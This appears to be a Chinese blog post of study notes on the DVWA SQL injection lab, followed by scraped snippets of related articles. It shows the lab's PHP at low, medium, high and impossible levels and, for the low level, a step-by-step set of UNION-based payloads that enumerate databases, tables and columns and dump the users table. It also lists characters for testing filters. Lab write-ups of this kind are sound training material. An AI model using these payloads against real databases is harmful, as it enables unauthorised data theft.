DVWA学习笔记--06--SQL Injection

0x00

终于到sql注入了

利用应用中传递的参数 ,将恶意sql语句注入到数据库执行

高危害的漏洞

dvwa里的这个指的是回显注入

0x01

low

在low下的全部源码

<?php

if( isset( $_REQUEST[ ‘Submit‘ ] ) ) {
    // Get input
    $id = $_REQUEST[ ‘id‘ ];
    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( ‘<pre>‘ . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . ‘</pre>‘ );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }
    mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>

$query = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘;"
可见是一个字符型的注入
代码里并未做任何的过滤

就算不看源码  也可以通过1 and or ‘ 这些组合来测试判断是哪种类型的注入

整个的思路流程最后会整理一下,这里就不多说

字符型注入可以用#在最后闭合

或者使用--+ (加号代表空格 在dvwa的low下 如果是框里就用空格替换+)

1‘order by 2#          确认字段数(其实看源码可知为两个字段,这里当做不知道源码的测试)

1‘union select 1,2#       爆出显示位

1‘union select 1,database()#      爆出当前数据库名(版本啊用户名那那些就先省略了)

在mysql5.0之后 有一个information_schema元数据库 有着MySQL服务器所有数据库的信息 可以利用它查询其他数据库的信息

1‘union select 1,group_concat(schema_name) from information_schema.schemata#      爆出所有数据库

1‘union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#  爆出当前数据库下所有表

(回显多条数据的情况写可以用group_concat()来全部爆出  如果只回显一条的话可以用limit语句)

1‘union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users‘#  爆出users表里的所有列

1‘union select 1,group_concat(user) from users#      查询列里面的信息

这样就算成了

0x02

medium

在medium下的部分源码

if( isset( $_POST[ ‘Submit‘ ] ) ) {
    // Get input
    $id = $_POST[ ‘id‘ ];
    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( ‘<pre>‘ . mysqli_error($GLOBALS["___mysqli_ston"]) . ‘</pre>‘ );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }
}

可见medium下增加了mysqli_real_escape_string()函数对特殊字符转义  过滤参数id

但是参数并未用单引号包裹起来..所以其实并没有什么用

同时改成了post提交的参数  前端也对参数进行了限制  但是仍然阻止不了修改数据包

因为id没被单引号包裹 所以是一个数字型注入

因为是有报错显示的,同样也很轻易的可以判断出来

然后后面的注入流程就和low类似

不同在于不需要单引号闭合以及注释

就不重复了

0x03

high

在high下的全部源码

<?php
if( isset( $_SESSION [ ‘id‘ ] ) ) {
    // Get input
    $id = $_SESSION[ ‘id‘ ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘ LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ‘<pre>Something went wrong.</pre>‘ );
    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

1.首先可见 id的传输方式变成了利用session来传递

但是无所谓 并未做任何的过滤防护

2.其次输入参数的页面和输出结果的页面分开,这样的跳转应该是为了防止一些自动化注入的工具

但是对于手工测试并无影响

3.最后在于"SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘ LIMIT 1;";这个语句

和low一样id被单引号包裹  其次用limit 1 进行了限制

一次只能显示一条数据 无法回显多条数据

但是字符型注入构造的语句最后的注释符#和--+会把limit 1给注释掉

所以仍然会返回多条语句

而且就算限制了返回语句条数

同样可以用limit x,y 这个语句来逐条查找  x代表从第几条开始 y代表返回几条

所以注入的过程和low相似

就不重复写了

0x04

impossible

在impossible下的全部源码

<?php
if( isset( $_GET[ ‘Submit‘ ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ ‘user_token‘ ], $_SESSION[ ‘session_token‘ ], ‘index.php‘ );

    // Get input
    $id = $_GET[ ‘id‘ ];
    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( ‘SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;‘ );
        $data->bindParam( ‘:id‘, $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ ‘first_name‘ ];
            $last  = $row[ ‘last_name‘ ];

            // Feedback for end user
            $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}
// Generate Anti-CSRF token
generateSessionToken();
?>

和之前主要有两个区别

1. PDO::PARAM_INT  这是一个预定义常量为整型

bindParam()函数的作用是绑定一个参数到指定的变量名

整个的作用应该是要求id必须为整型

2.其次就是( $data->rowCount() == 1 )

当查询返回的结果数量为1的时候才能给输出的first和last赋值

这样限制就比较难进行注入

0x05

最后扯扯蛋

想想一般这种注入的思路

找到注入点后就先判断注入类型

(不仅只字符数字 也可以是盲注回显报错等等)

然后测试过滤了那些东西

and or from where union select order by limit 等等

‘ "# % () * <>  /**/ / \ |- + ., 等等(随便乱写的几个)

然后构造payload就好了

sql注入还是很大一个坑...这些不过只是冰山一角

时间: 2024-10-13 19:48:46

DVWA学习笔记--06--SQL Injection的相关文章

Oracle学习笔记三 SQL命令

SQL简介 SQL 支持下列类别的命令: 1.数据定义语言(DDL) 2.数据操纵语言(DML) 3.事务控制语言(TCL) 4.数据控制语言(DCL)               下面是这四种SQL语言的详细笔记: Oracle学习笔记三 SQL命令(二):SQL操作语言类别 Oracle数据类型 创建表时,必须为各个列指定数据类型 以下是 Oracle 数据类型的类别: 字符数据类型 CHAR类型 当需要固定长度的字符串时,使用 CHAR 数据类型. CHAR 数据类型存储字母数字值. CH

iOS学习笔记06—Category和Extension

iOS学习笔记06—Category和Extension 一.概述 类别是一种为现有的类添加新方法的方式. 利用Objective-C的动态运行时分配机制,Category提供了一种比继承(inheritance)更为简洁的方法来对class进行扩展,无需创建对象类的子类就能为现有的类添加新方法,可以为任何已经存在的class添加方法,包括那些没有源代码的类(如某些框架类). 二.示例 1.声明类别 @interface NSString (CategoryDemo) -(NSNumber*)

DVWA系列之5 SQL Injection (Blind)

所谓盲注就是指当我们输入一些特殊字符时,页面并不显示错误提示,这样我们只能通过页面是否正常显示来进行判断. 将DVWA Security设置为low,然后选择SQL Injection (Blind),查看网页源码.可以发现与之前不同的是,在mysql_numrows()函数之前多加了一个@符号,后面的注释说明@符号可以抑制报错信息. 盲注其实对渗透并没有太大影响,我们输入"' or 1=1 #"仍然可以显示出所有的数据.整个渗透过程也与之前基本一致.

[原创]java WEB学习笔记06:ServletContext接口

本博客为原创:综合 尚硅谷(http://www.atguigu.com)的系统教程(深表感谢)和 网络上的现有资源(博客,文档,图书等),资源的出处我会标明 本博客的目的:①总结自己的学习过程,相当于学习笔记 ②将自己的经验分享给大家,相互学习,互相交流,不可商用 内容难免出现问题,欢迎指正,交流,探讨,可以留言,也可以通过以下方式联系. 本人互联网技术爱好者,互联网技术发烧友 微博:伊直都在0221 QQ:951226918 ---------------------------------

DVWA学习笔记

一开始有点乱,后期会整理哒 DVWA的安装 DVWA的基本漏洞——SQL 乌云上最常见的脚本漏洞莫过于SQL注入和XSS. 脚本安全的本质就是脚本接受了不安全的变量输入,又没得到有效的过滤,最后进入一些对敏感的函数就会对安全造成威胁. 最基本的SQL漏洞: 1 if(isset($_GET['Submit'])){ 2 3 // Retrieve data 4 5 $id = $_GET['id']; 6 7 $getid = "SELECT first_name, last_name FROM

stm32寄存器版学习笔记06 输入捕获(ETR脉冲计数)

STM32外部脉冲ETR引脚:TIM1-->PA12;TIMER2-->PA0:TIMER3-->PD2;TIMER4-->PE0… 1.TIM2 PA0计数 配置步骤 ①开启TIM2时钟,配置PA0输入 APB1外设复位寄存器 (RCC_APB1RSTR) APB2外设时钟使能寄存器(RCC_APB2ENR) 置1开启.清0关闭. Eg:RCC->APB1ENR|=1<<0; //使能TIM2时钟  RCC->APB2ENR|=1<<2;  

学习笔记五-sql之access和mssql注入

1,access数据库的介绍 关系数据库管理系统,微软的小型数据库 优势:提高速度,减少代码量,避免使用过程调用 缺陷:数据过大,性能下降,数据库刷写导致问题,安全不行 后缀名为*.mdb 打开工具:辅臣,破障 搭建平台:小旋风aspweb工具 2,access数据库调用分析 asp网站,(id=)参数传递,看到参数,看查询语句,使用破障分析数据 代码审计看是否有过滤 3,access注入原理 首先判断是否存在注入点 '    ,and 1=1,and 1=2, 如果前面的过滤掉了,用后面的判断

R语言学习笔记:SQL操作

虽然R很强大,但如果对SQL非常熟悉,也不能浪费这项技能了,可以用上sqldf包,从example("sqldf")抄了几条用法放在这里,以后可能会用上. library("tcltk") a1r <- head(warpbreaks) a1s <- sqldf("select * from warpbreaks limit 6") a2r <- subset(CO2, grepl("^Qn", Plant)

WebApi学习笔记06:使用webapi模板--仓储模式--Unity依赖注入

1.Web项目 1.1概述 对数据操作封装使用存储模式是很常见的方式,而使用依赖注入来降低耦合度(方便创建对象,可以抛弃经典的工厂模式)…… 1.2创建项目 1.3添加模型 在Models下,添加Product.cs: namespace WebApi06.Models { public class Product { public int ID { get; set; } public string Name { get; set; } public decimal Price { get;